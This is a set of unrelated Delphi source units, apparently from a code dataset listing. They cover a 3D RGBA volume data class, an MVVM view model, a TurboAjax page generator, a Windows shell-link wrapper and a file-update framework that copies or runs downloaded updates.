(FData as TRGBAIntDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value);
end;
procedure T3DVolumeRGBAIntData.SetGreenPixelColor(_x,_y,_z: integer; _value:single);
begin
(FData as TRGBAIntDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value);
end;
procedure T3DVolumeRGBAIntData.SetBluePixelColor(_x,_y,_z: integer; _value:single);
begin
(FData as TRGBAIntDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value);
end;
procedure T3DVolumeRGBAIntData.SetAlphaPixelColor(_x,_y,_z: integer; _value:single);
begin
(FData as TRGBAIntDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x] := Round(_value);
end;
procedure T3DVolumeRGBAIntData.SetData(_x, _y, _z, _c: integer; _value: integer);
begin
if IsPixelValid(_x,_y,_z) and (_c >= 0) and (_c <= 2) then
begin
case (_c) of
0: (FData as TRGBAIntDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
1: (FData as TRGBAIntDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
2: (FData as TRGBAIntDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
3: (FData as TRGBAIntDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
end;
end;
end;
procedure T3DVolumeRGBAIntData.SetDataUnsafe(_x, _y, _z, _c: integer; _value: integer);
begin
case (_c) of
0: (FData as TRGBAIntDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
1: (FData as TRGBAIntDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
2: (FData as TRGBAIntDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
3: (FData as TRGBAIntDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x] := _value;
end;
end;
procedure T3DVolumeRGBAIntData.SetDefaultColor(_value: TImagePixelRGBAIntData);
begin
FDefaultColor.r := _value.r;
FDefaultColor.g := _value.g;
FDefaultColor.b := _value.b;
FDefaultColor.a := _value.a;
end;
// Copies
procedure T3DVolumeRGBAIntData.Assign(const _Source: TAbstract3DVolumeData);
begin
inherited Assign(_Source);
FDefaultColor.r := (_Source as T3DVolumeRGBAIntData).FDefaultColor.r;
FDefaultColor.g := (_Source as T3DVolumeRGBAIntData).FDefaultColor.g;
FDefaultColor.b := (_Source as T3DVolumeRGBAIntData).FDefaultColor.b;
FDefaultColor.a := (_Source as T3DVolumeRGBAIntData).FDefaultColor.a;
end;
procedure T3DVolumeRGBAIntData.CopyData(const _Data: TAbstractDataSet; _DataXSize, _DataYSize, _DataZSize: integer);
var
x,y,z,ZPos,ZDataPos,Pos,maxPos,DataPos,maxX, maxY, maxZ: integer;
begin
maxX := min(FXSize,_DataXSize)-1;
maxY := min(FYSize,_DataYSize)-1;
maxZ := min(FZSize,_DataZSize)-1;
for z := 0 to maxZ do
begin
ZPos := z * FYxXSize;
ZDataPos := z * _DataYSize * _DataXSize;
for y := 0 to maxY do
begin
Pos := ZPos + (y * FXSize);
DataPos := ZDataPos + (y * _DataXSize);
maxPos := Pos + maxX;
for x := Pos to maxPos do
begin
(FData as TRGBAIntDataSet).Data[x] := (_Data as TRGBAIntDataSet).Data[DataPos];
inc(DataPos);
end;
end;
end;
end;
// Misc
procedure T3DVolumeRGBAIntData.ScaleBy(_Value: single);
var
x,maxx: integer;
begin
maxx := (FYxXSize * FZSize) - 1;
for x := 0 to maxx do
begin
(FData as TRGBAIntDataSet).Red[x] := Round((FData as TRGBAIntDataSet).Red[x] * _Value);
(FData as TRGBAIntDataSet).Green[x] := Round((FData as TRGBAIntDataSet).Green[x] * _Value);
(FData as TRGBAIntDataSet).Blue[x] := Round((FData as TRGBAIntDataSet).Blue[x] * _Value);
(FData as TRGBAIntDataSet).Alpha[x] := Round((FData as TRGBAIntDataSet).Alpha[x] * _Value);
end;
end;
procedure T3DVolumeRGBAIntData.Invert;
var
x,maxx: integer;
begin
maxx := (FYxXSize * FZSize) - 1;
for x := 0 to maxx do
begin
(FData as TRGBAIntDataSet).Red[x] := 255 - (FData as TRGBAIntDataSet).Red[x];
(FData as TRGBAIntDataSet).Green[x] := 255 - (FData as TRGBAIntDataSet).Green[x];
(FData as TRGBAIntDataSet).Blue[x] := 255 - (FData as TRGBAIntDataSet).Blue[x];
(FData as TRGBAIntDataSet).Alpha[x] := 255 - (FData as TRGBAIntDataSet).Alpha[x];
end;
end;
procedure T3DVolumeRGBAIntData.Fill(_value: integer);
var
x,maxx: integer;
begin
maxx := (FYxXSize * FZSize) - 1;
for x := 0 to maxx do
begin
(FData as TRGBAIntDataSet).Red[x] := _value;
(FData as TRGBAIntDataSet).Green[x] := _value;
(FData as TRGBAIntDataSet).Blue[x] := _value;
(FData as TRGBAIntDataSet).Alpha[x] := _value;
end;
end;
end.
|
unit SimpleMvvm.ViewModels.InjectedViewModel;
interface
uses
DSharp.PresentationModel.ViewModelBase
, SimpleMvvm.Interfaces
;
type
TInjectedViewModel = class(TViewModelBase, IInjectedViewModel)
private
fText: string;
procedure SetText(const Value: string);
{ private declarations }
protected
{ protected declarations }
public
{ public declarations }
property Text: string read fText write SetText;
published
{ published declarations }
end;
implementation
{ TInjectedViewModel }
procedure TInjectedViewModel.SetText(const Value: string);
begin
fText := Value;
DoPropertyChanged('Text');
end;
initialization
TInjectedViewModel.ClassName;
end.
|
unit TurboAjaxDocument;
interface
uses
htMarkup,
LrDocument,
Design, TurboDocument, TurboDocumentController,
Main;
type
TTurboAjaxController = class(TTurboDocumentController)
public
class function GetDescription: string; override;
class function GetExt: string; override;
public
function New: TLrDocument; override;
//procedure DocumentActivate(inDocument: TLrDocument); override;
//procedure DocumentDeactivate(inDocument: TLrDocument); override;
end;
//
TTurboAjaxDocument = class(TTurboDocument)
protected
procedure IncludeTurbo(inMarkup: ThtMarkup);
public
constructor Create; override;
destructor Destroy; override;
//procedure Open(const inFilename: string); override;
//procedure Save; override;
//property Design: TDesignForm read FDesign;
procedure Publish;
end;
implementation
uses
htAjaxPanel;
const
cDescription = 'TurboAjax Document';
cExt = '.ajx';
class function TTurboAjaxController.GetDescription: string;
begin
Result := cDescription;
end;
class function TTurboAjaxController.GetExt: string;
begin
Result := cExt;
end;
function TTurboAjaxController.New: TLrDocument;
begin
Result := CreateDocument(TTurboAjaxDocument);
end;
{ TTurboAjaxDocument }
constructor TTurboAjaxDocument.Create;
begin
inherited;
end;
destructor TTurboAjaxDocument.Destroy;
begin
inherited;
end;
procedure TTurboAjaxDocument.IncludeTurbo(inMarkup: ThtMarkup);
begin
with inMarkup do
begin
Styles.Add('body, html { margin: 0; padding: 0; overflow: hidden; }');
AddJavaScript('djConfig = { isDebug: true, ieClobberMinimal: true }');
AddJavaScriptInclude('/turboajax/dojo/dojo.js');
AddJavaScriptInclude('/turboajax/turbo/turbo.js');
AddJavaScriptInclude('/turboajax/turbo/lib/align.js');
with AddJavaScript do
begin
Add(#13);
Add('dojo.require("dojo.event.*");');
Add('dojo.hostenv.setModulePrefix("turbo", "../turbo");');
Add('dojo.require("turbo.widgets.TurboBox");');
Add('dojo.require("turbo.widgets.TurboSplitter");');
Add('');
Add('dojo.addOnLoad(init);');
Add('');
Add('function init()');
Add('{');
Add(' window.setTimeout(delayedInit, 200);');
Add('}');
Add('function delayedInit()');
Add('{');
Add(' align();');
Add(' dojo.event.connect(window, "onresize", "align");');
Add('}');
Add('function align()');
Add('{');
Add(' turbo.aligner.align();');
Add('}');
end;
end;
end;
procedure TTurboAjaxDocument.Publish;
var
markup: ThtMarkup;
begin
markup := ThtMarkup.Create;
try
IncludeTurbo(markup);
AjaxGenerateChildren(Design, markup.Body, markup);
markup.SaveToFile('C:\Inetpub\wwwroot\turboajax\TurboStudio\publish\test.html');
finally
markup.Free;
end;
end;
end.
|
unit UShellLink;
(**
ShowComand
SW_HIDE Hides the window and activates another window.
SW_MAXIMIZE Maximizes the specified window.
SW_MINIMIZE Minimizes the specified window and activates the next top-level window in the Z order.
SW_RESTORE Activates and displays the window. If the window is minimized or maximized, Windows restores it to its original size and position. An application should specify this flag when restoring a minimized window.
SW_SHOW Activates the window and displays it in its current size and position.
SW_SHOWDEFAULT Sets the show state based on the SW_ flag specified in the STARTUPINFO structure passed to the CreateProcess function by the program that started the application.
SW_SHOWMAXIMIZED Activates the window and displays it as a maximized window.
SW_SHOWMINIMIZED Activates the window and displays it as a minimized window.
SW_SHOWMINNOACTIVE Displays the window as a minimized window. The active window remains active.
SW_SHOWNA Displays the window in its current state. The active window remains active.
SW_SHOWNOACTIVATE Displays a window in its most recent size and position. The active window remains active.
SW_SHOWNORMAL Activates and displays a window. If the window is minimized or maximized, Windows restores it to its original size and position. An application should specify this flag when displaying the window for the first time.
*)
interface
uses
SysUtils, Windows, Graphics, ShellAPI, ShlObj, ComObj, ActiveX, ShellCtrls;
type
TShellLink = class
private
FFileName: TFileName;
FObject: IUnknown;
FSLink: IShellLink;
FPFile: IPersistFile;
function GetArguments: string;
function GetDescription: string;
function GetHotKey: Word;
function GetIcon: TIcon;
function GetPath: TFileName;
function GetShowCommand: Integer;
function GetWorkingDirectory: TFileName;
procedure SetArguments(const Value: string);
procedure SetDescription(const Value: string);
procedure SetHotKey(const Value: Word);
procedure SetPath(const Value: TFileName);
procedure SetShowCommand(const Value: Integer);
procedure SetWorkingDirectory(const Value: TFileName);
public
constructor Create;
destructor Destroy; override;
procedure Load;
procedure Save;
procedure GetIconLocation(out Location: TFileName; out Index: Integer);
procedure SetIconLocation(Location: TFileName; Index: Integer);
property Path: TFileName read GetPath write SetPath;
property Arguments: string read GetArguments write SetArguments;
property WorkingDirectory: TFileName read GetWorkingDirectory write SetWorkingDirectory;
property Description: string read GetDescription write SetDescription;
property Icon: TIcon read GetIcon;
property HotKey: Word read GetHotKey write SetHotKey;
property ShowCommand: Integer read GetShowCommand write SetShowCommand;
published
property FileName: TFileName read FFileName write FFileName;
end;
implementation
{ TShellLink }
constructor TShellLink.Create;
begin
FObject := CreateComObject(CLSID_ShellLink);
FPFile := FObject as IPersistFile;
FSLink := FObject as IShellLink;
end;
destructor TShellLink.Destroy;
begin
FSLink := nil;
FPFile := nil;
FObject := nil;
end;
procedure TShellLink.Load;
begin
FPFile.Load(PWChar(WideString(FileName)), 0);
end;
procedure TShellLink.Save;
begin
FPFile.Save(PWChar(WideString(FileName)), False);
end;
function TShellLink.GetArguments: string;
var
PArguments: array[0..MAX_PATH] of Char;
begin
FSLink.GetArguments(PArguments, SizeOf(PArguments));
Result := PArguments;
end;
function TShellLink.GetDescription: string;
var
PDescription: array[0..MAX_PATH] of Char;
begin
FSLink.GetDescription(PDescription, SizeOf(PDescription));
Result := PDescription;
end;
function TShellLink.GetPath: TFileName;
var
PPath: array[0..MAX_PATH] of Char;
FindData: TWIN32FINDDATA;
begin
FSLink.GetPath(PPath, SizeOf(PPath), FindData, SLGP_UNCPRIORITY);
Result := PPath;
end;
function TShellLink.GetWorkingDirectory: TFileName;
var
PWorkingDirectory: array[0..MAX_PATH] of Char;
begin
FSLink.GetWorkingDirectory(PWorkingDirectory, SizeOf(PWorkingDirectory));
Result := PWorkingDirectory;
end;
function TShellLink.GetHotKey: Word;
begin
FSLink.GetHotKey(Result);
end;
procedure TShellLink.GetIconLocation(out Location: TFileName; out Index: Integer);
var
PIconLocation: array[0..MAX_PATH] of Char;
begin
FSLink.GetIconLocation(PIconLocation, SizeOf(PIconLocation), Index);
Location := PIconLocation;
end;
function TShellLink.GetIcon: TIcon;
(**
Иконка задаётся следующим образом:
1) В поле IconLocation может быть задан путь к ico файлу
2) В поле IconLocation может быть задан путь к exe или dll файлу внутри
которого лежат иконки. Иконок может быть несколько поэтому указывается ещё
индекс иконки в поле IconIndex
3) Если обьект - программа а поле IconLocation пустое то по умолчанию
путём к иконке IconLocation считается сама программа объект
4) Если обьект - не программа а например папка то по идее должна братся
иконка по умолчанию для таких типов файлов. Сдесь этот случай не учитывается
Обратите внимание что каждый раз создаётся новая иконка и нужно её удалять.
*)
var
AIcon: TIcon;
IconLocation, IconExtension: TFileName;
IconIndex: Integer;
begin
GetIconLocation(IconLocation, IconIndex);
if IconLocation = '' then
begin
if LowerCase(ExtractFileExt(Path)) = '.exe' then
begin
AIcon := TIcon.Create;
AIcon.Handle := ExtractIcon(0, PChar(Path), IconIndex);
Result := AIcon;
end
else
Result := nil;
end
else
begin
AIcon := TIcon.Create;
IconExtension := LowerCase(ExtractFileExt(IconLocation));
if (IconExtension = '.exe') or (IconExtension = '.dll') then
AIcon.Handle := ExtractIcon(0, PChar(IconLocation), IconIndex)
else
AIcon.LoadFromFile(IconLocation);
Result := AIcon;
end;
end;
procedure TShellLink.SetPath(const Value: TFileName);
begin
FSLink.SetPath(PChar(Value));
end;
procedure TShellLink.SetWorkingDirectory(const Value: TFileName);
begin
FSLink.SetWorkingDirectory(PChar(Value));
end;
procedure TShellLink.SetArguments(const Value: string);
begin
FSLink.SetArguments(PChar(Value));
end;
procedure TShellLink.SetDescription(const Value: string);
begin
FSLink.SetDescription(PChar(Value));
end;
function TShellLink.GetShowCommand: Integer;
begin
FSLink.GetShowCmd(Result);
end;
procedure TShellLink.SetHotKey(const Value: Word);
begin
FSLink.SetHotkey(Value);
end;
procedure TShellLink.SetShowCommand(const Value: Integer);
begin
FSLink.SetShowCmd(Value);
end;
procedure TShellLink.SetIconLocation(Location: TFileName; Index: Integer);
begin
FSLink.SetIconLocation(PChar(Location), Index)
end;
end.
|
unit JGWUpdate;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Transfer;
type
/// <summary>
/// 更新检查类型
/// </summary>
TChkType = (
/// <summary>
/// 无
/// </summary>
chkNone,
/// <summary>
/// 按照文件版本检查
/// </summary>
chkByVersion,
/// <summary>
/// 按照日期检查
/// </summary>
chkByDate,
/// <summary>
/// 按照文件大小检查
/// </summary>
chkBySize,
/// <summary>
/// 源文件不存在的新建模式
/// </summary>
chkCreat);
/// <summary>
/// 更新的方式
/// </summary>
TUpdateType = (
/// <summary>
/// 拷贝更新,把新文件拷贝覆盖旧文件。
/// </summary>
upCopy,
/// <summary>
/// 执行更新 ,执行一个更新程序来更新。
/// </summary>
upExecute);
/// <summary>
/// 更新对象基类
/// </summary>
/// <remarks>
/// 定义了更新对象的基础信息
/// </remarks>
TUpdate = class(TPersistent)
private
FChkType: TChkType;
FFileName: string;
FLocalFile: string;
FNewDate: TDateTime;
FNewVersion: string;
FTempPath: string;
FTransferObj: TTransfer;
FUpdateType: TUpdateType;
FUpdateURL: string;
FNewSize: Int64;
protected
function GetChkType: TChkType; virtual;
function GetFileName: string; virtual;
function GetLocalFile: string; virtual;
function GetNewDate: TDateTime; virtual;
function GetNewVersion: string; virtual;
function GetTempPath: string; virtual;
function GetTransferObj: TTransfer; virtual;
function GetUpdateType: TUpdateType; virtual;
function GetUpdateURL: string; virtual;
procedure SetChkType(Value: TChkType); virtual;
procedure SetFileName(const Value: string); virtual;
procedure SetLocalFile(const Value: string); virtual;
procedure SetNewDate(Value: TDateTime); virtual;
procedure SetNewVersion(const Value: string); virtual;
procedure SetTempPath(const Value: string); virtual;
procedure SetTransferObj(Value: TTransfer); virtual;
procedure SetUpdateType(Value: TUpdateType); virtual;
procedure SetUpdateURL(const Value: string); virtual;
function GetNewSize: Int64; virtual;
procedure SetNewSize(const Value: Int64); virtual;
public
/// <summary>
/// 分析更新方式。构建指定更新方式的对象并返回。
/// </summary>
function Analyse: TUpdate; virtual; abstract;
/// <summary>
/// 信息深fu'zhi
/// </summary>
procedure AssignTo(Dest: TPersistent); override;
/// <summary>
/// 下载数据到指定路径。
/// </summary>
/// <param name="FileName">
/// 文件的完成路径
/// </param>
procedure Download(FileName: String); overload; virtual; abstract;
/// <summary>
/// 下载数据到流
/// </summary>
/// <param name="Stream">
/// 流
/// </param>
procedure Download(Stream: TStream); overload; virtual; abstract;
/// <summary>
/// 更新文件
/// </summary>
/// <returns>
/// 执行更新动作。
/// </returns>
function UpdateIt: Boolean; virtual; abstract;
/// <summary>
/// 检查类型
/// </summary>
/// <value>
/// 参看TchkType
/// </value>
/// <seealso cref="TchkType">
/// TchkType
/// </seealso>
property ChkType: TChkType read GetChkType write SetChkType;
/// <summary>
/// 更新文件的 文件名称
/// </summary>
property FileName: string read GetFileName write SetFileName;
/// <summary>
/// 本地文件的相对路径。
/// </summary>
property LocalFile: string read GetLocalFile write SetLocalFile;
/// <summary>
/// 新文件的日期
/// </summary>
property NewDate: TDateTime read GetNewDate write SetNewDate;
/// <summary>
/// 新文件的版本
/// </summary>
property NewVersion: string read GetNewVersion write SetNewVersion;
/// <summary>
/// 临时文件夹路径,含文件名
/// </summary>
property TempPath: string read GetTempPath write SetTempPath;
/// <summary>
/// 传输对象
/// </summary>
property TransferObj: TTransfer read GetTransferObj write SetTransferObj;
/// <summary>
/// 更新类型
/// </summary>
/// <seealso cref="TUpdateType">
/// TUpdateType
/// </seealso>
property UpdateType: TUpdateType read GetUpdateType write SetUpdateType;
/// <summary>
/// 更新下载文件的地址URL
/// </summary>
property UpdateURL: string read GetUpdateURL write SetUpdateURL;
/// <summary>
/// 新文件的大小
/// </summary>
property NewSize: Int64 read GetNewSize write SetNewSize;
end;
TFileUpdate = class(TUpdate)
protected
public
/// <summary>
/// 下载数据到指定的文件
/// </summary>
procedure Download(FileName: String); overload; override;
/// <summary>
/// 文件更新的基础实现类,它实现了基础的更新呢信息和操作。在它上增加装饰类实现Copy更新和执行更新。
/// </summary>
/// <seealso cref="TUpdate">
/// TUpdate
/// </seealso>
function Analyse: TUpdate; override;
/// <summary>
/// 下载数据到liu
/// </summary>
procedure Download(Stream: TStream); overload; override;
/// <summary>
/// 执行更新,真实的执行是有装饰类来完成的。
/// </summary>
function UpdateIt: Boolean; override;
end;
/// <summary>
/// 装饰类基类
/// </summary>
TUpdateDecorator = class(TUpdate)
private
FOwnsUpdate: Boolean;
FUpdate: TUpdate;
function GetUpdate: TUpdate;
procedure SetUpdate(Value: TUpdate);
protected
function GetChkType: TChkType; override;
function GetFileName: string; override;
function GetLocalFile: string; override;
function GetNewDate: TDateTime; override;
function GetNewVersion: string; override;
function GetTempPath: string; override;
function GetTransferObj: TTransfer; override;
function GetUpdateType: TUpdateType; override;
function GetUpdateURL: string; override;
procedure SetChkType(Value: TChkType); override;
procedure SetFileName(const Value: string); override;
procedure SetLocalFile(const Value: string); override;
procedure SetNewDate(Value: TDateTime); override;
procedure SetNewVersion(const Value: string); override;
procedure SetTempPath(const Value: string); override;
procedure SetTransferObj(Value: TTransfer); override;
procedure SetUpdateType(Value: TUpdateType); override;
procedure SetUpdateURL(const Value: string); override;
function GetNewSize: Int64; override;
procedure SetNewSize(const Value: Int64); override;
public
/// <summary>
/// 构造函数
/// </summary>
/// <param name="AUpdate">
/// 传入基础执行类。
/// </param>
constructor Create(AUpdate: TUpdate);
/// <summary>
/// 析构函数
/// </summary>
destructor Destroy; override;
/// <summary>
/// 是否自主管理Update主对象。默认为True
/// </summary>
/// <value>
/// 默认为True
/// </value>
property OwnsUpdate: Boolean read FOwnsUpdate write FOwnsUpdate;
/// <summary>
/// 宿主对象
/// </summary>
property Update: TUpdate read GetUpdate write SetUpdate;
end;
/// <summary>
/// Copy方式实现类
/// </summary>
TCopyUpdate = class(TUpdateDecorator)
protected
public
function Analyse: TUpdate; override;
procedure Download(FileName: String); overload; override;
procedure Download(Stream: TStream); overload; override;
function UpdateIt: Boolean; override;
end;
/// <summary>
/// 执行方式实现类
/// </summary>
TExecuteUpdate = class(TUpdateDecorator)
protected
public
function Analyse: TUpdate; override;
procedure Download(FileName: String); overload; override;
procedure Download(Stream: TStream); overload; override;
function UpdateIt: Boolean; override;
end;
TUpdateDecoratorClass = Class of TUpdateDecorator;
TUpdateDecoratorFactory = class
public
class function CreateUpdateDecorator(UpdateDecoratorClass:
TUpdateDecoratorClass; UpdateObj: TUpDate): TUpdateDecorator;
end;
const
UpdateClassArray:array[0..1] of TUpdateDecoratorClass=(TCopyUpdate, TExecuteUpdate);
implementation
uses AnalyserCmd, FmxUtils, uFileAction, System.IOUtils;
{
*********************************** TUpdate ************************************
}
procedure TUpdate.AssignTo(Dest: TPersistent);
var
Update: TUpdate;
begin
Update := Dest as TUpdate;
UpDate.FileName := Self.FileName;
Update.LocalFile := self.LocalFile;
Update.NewDate := self.NewDate;
Update.NewVersion := self.NewVersion;
Update.TempPath := self.TempPath;
Update.UpdateURL := self.UpdateURL;
Update.ChkType := self.ChkType;
Update.NewSize := self.NewSize;
Update.UpdateType := self.UpdateType;
end;
function TUpdate.GetChkType: TChkType;
begin
Result := FChkType;
end;
function TUpdate.GetFileName: string;
begin
Result := FFileName;
end;
function TUpdate.GetLocalFile: string;
begin
Result := FLocalFile;
end;
function TUpdate.GetNewDate: TDateTime;
begin
Result := FNewDate;
end;
function TUpdate.GetNewVersion: string;
begin
Result := FNewVersion;
end;
function TUpdate.GetTempPath: string;
begin
Result := FTempPath;
end;
function TUpdate.GetTransferObj: TTransfer;
begin
Result := FTransferObj;
end;
function TUpdate.GetUpdateType: TUpdateType;
begin
Result := FUpdateType;
end;
function TUpdate.GetUpdateURL: string;
begin
Result := FUpdateURL;
end;
procedure TUpdate.SetChkType(Value: TChkType);
begin
FChkType := Value;
end;
procedure TUpdate.SetFileName(const Value: string);
begin
FFileName := Value;
end;
procedure TUpdate.SetLocalFile(const Value: string);
begin
FLocalFile := Value;
end;
procedure TUpdate.SetNewDate(Value: TDateTime);
begin
FNewDate := Value;
end;
procedure TUpdate.SetNewVersion(const Value: string);
begin
FNewVersion := Value;
end;
procedure TUpdate.SetTempPath(const Value: string);
begin
FTempPath := Value;
end;
procedure TUpdate.SetTransferObj(Value: TTransfer);
begin
FTransferObj := Value;
end;
procedure TUpdate.SetUpdateType(Value: TUpdateType);
begin
// TODO -cMM: TUpdate.SetUpdateType default body inserted
FUpdateType := Value;
end;
procedure TUpdate.SetUpdateURL(const Value: string);
begin
FUpdateURL := Value;
end;
function TUpdate.GetNewSize: Int64;
begin
Result := FNewSize;
end;
procedure TUpdate.SetNewSize(const Value: Int64);
begin
FNewSize := Value;
end;
{
********************************* TFileUpdate **********************************
}
function TFileUpdate.Analyse: TUpdate;
var
Anaslyse: TAnalyseCmd;
begin
Anaslyse := TAnalyseCmdFactory.CreateAnalyseCmd(ChkTypeArrar[Integer(self.chkType)]);
Result := Anaslyse.Run(self as TUpdate);
FreeAndNil(Anaslyse);
end;
procedure TFileUpdate.Download(FileName: String);
begin
if (Assigned(TransferObj)) then
TransferObj.Get(FileName);
end;
procedure TFileUpdate.Download(Stream: TStream);
begin
if (Assigned(TransferObj)) then
TransferObj.Get(Stream);
end;
function TFileUpdate.UpdateIt: Boolean;
begin
Result := true
end;
{
******************************* TUpdateDecorator *******************************
}
constructor TUpdateDecorator.Create(AUpdate: TUpdate);
begin
inherited Create;
Update := AUpdate;
FOwnsUpdate := True;
end;
destructor TUpdateDecorator.Destroy;
begin
Update := nil;
if (Assigned(FUpdate)) and FOwnsUpdate then
FreeAndNil(FUpdate);
inherited Destroy;
end;
function TUpdateDecorator.GetChkType: TChkType;
begin
Result := FUpdate.GetChkType;
end;
function TUpdateDecorator.GetFileName: string;
begin
Result := FUpdate.GetFileName;
end;
function TUpdateDecorator.GetLocalFile: string;
begin
Result := FUpdate.GetLocalFile;
end;
function TUpdateDecorator.GetNewDate: TDateTime;
begin
Result := FUpdate.GetNewDate;
end;
function TUpdateDecorator.GetNewVersion: string;
begin
Result := FUpdate.GetNewVersion;
end;
function TUpdateDecorator.GetTempPath: string;
begin
Result := FUpdate.GetTempPath;
end;
function TUpdateDecorator.GetTransferObj: TTransfer;
begin
Result := FUpdate.GetTransferObj;
end;
function TUpdateDecorator.GetUpdate: TUpdate;
begin
Result := FUpdate;
end;
function TUpdateDecorator.GetUpdateType: TUpdateType;
begin
Result := FUpdate.GetUpdateType;
end;
function TUpdateDecorator.GetUpdateURL: string;
begin
Result := FUpdate.GetUpdateURL;
end;
procedure TUpdateDecorator.SetChkType(Value: TChkType);
begin
FUpdate.SetChkType(Value);
end;
procedure TUpdateDecorator.SetFileName(const Value: string);
begin
FUpdate.SetFileName(Value);
end;
procedure TUpdateDecorator.SetLocalFile(const Value: string);
begin
FUpdate.SetLocalFile(Value);
end;
procedure TUpdateDecorator.SetNewDate(Value: TDateTime);
begin
FUpdate.SetNewDate(Value);
end;
procedure TUpdateDecorator.SetNewVersion(const Value: string);
begin
FUpdate.SetNewVersion(Value);
end;
procedure TUpdateDecorator.SetTempPath(const Value: string);
begin
FUpdate.SetTempPath(Value);
end;
procedure TUpdateDecorator.SetTransferObj(Value: TTransfer);
begin
FUpdate.SetTransferObj(Value);
end;
procedure TUpdateDecorator.SetUpdate(Value: TUpdate);
begin
if Value <> FUpdate then
begin
if OwnsUpdate then FUpdate.Free;
FUpdate := Value;
end;
end;
procedure TUpdateDecorator.SetUpdateType(Value: TUpdateType);
begin
FUpdate.SetUpdateType(Value);
end;
procedure TUpdateDecorator.SetUpdateURL(const Value: string);
begin
FUpdate.SetUpdateURL(Value);
end;
function TUpdateDecorator.GetNewSize: Int64;
begin
Result := FUpdate.GetNewSize;
end;
procedure TUpdateDecorator.SetNewSize(const Value: Int64);
begin
FUpdate.SetNewSize(Value);
end;
{
********************************* TCopyUpdate **********************************
}
function TCopyUpdate.Analyse: TUpdate;
begin
Result := Self;
end;
procedure TCopyUpdate.Download(FileName: String);
begin
Update.Download(FileName);
end;
procedure TCopyUpdate.Download(Stream: TStream);
begin
Update.Download(Stream);
end;
function TCopyUpdate.UpdateIt: Boolean;
begin
try
if not TDirectory.Exists(ExtractFilePath(LocalFile)) then
TDirectory.CreateDirectory(ExtractFilePath(LocalFile));
MoveFile(TempPath, LocalFile);
Result := true;
except
Result := false;
end;
end;
{
******************************** TExecuteUpdate ********************************
}
function TExecuteUpdate.Analyse: TUpdate;
begin
Result := Self;
end;
procedure TExecuteUpdate.Download(FileName: String);
begin
Update.Download(FileName);
end;
procedure TExecuteUpdate.Download(Stream: TStream);
begin
Update.Download(Stream);
end;
function TExecuteUpdate.UpdateIt: Boolean;
var
FileAction : TFileAction;
begin
FileAction := TFileAction.Create(Update.TempPath);
try
try
if FileAction.Execute(SW_SHOWNORMAL) <> INFINITE then
begin
//MoveFile(Update.TempPath, Update.LocalFile);
Result := true;
end
else
Result := false;
except
Result := false;
end;
finally
FreeAndNil(FileAction);
end;
end;
class function TUpdateDecoratorFactory.CreateUpdateDecorator(
UpdateDecoratorClass: TUpdateDecoratorClass; UpdateObj: TUpDate):
TUpdateDecorator;
begin
// TODO -cMM: TUpdateDecoratorFactory.CreateUpdateDecorator default body inserted
Result := UpdateDecoratorClass.Create(UpdateObj);
end;
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.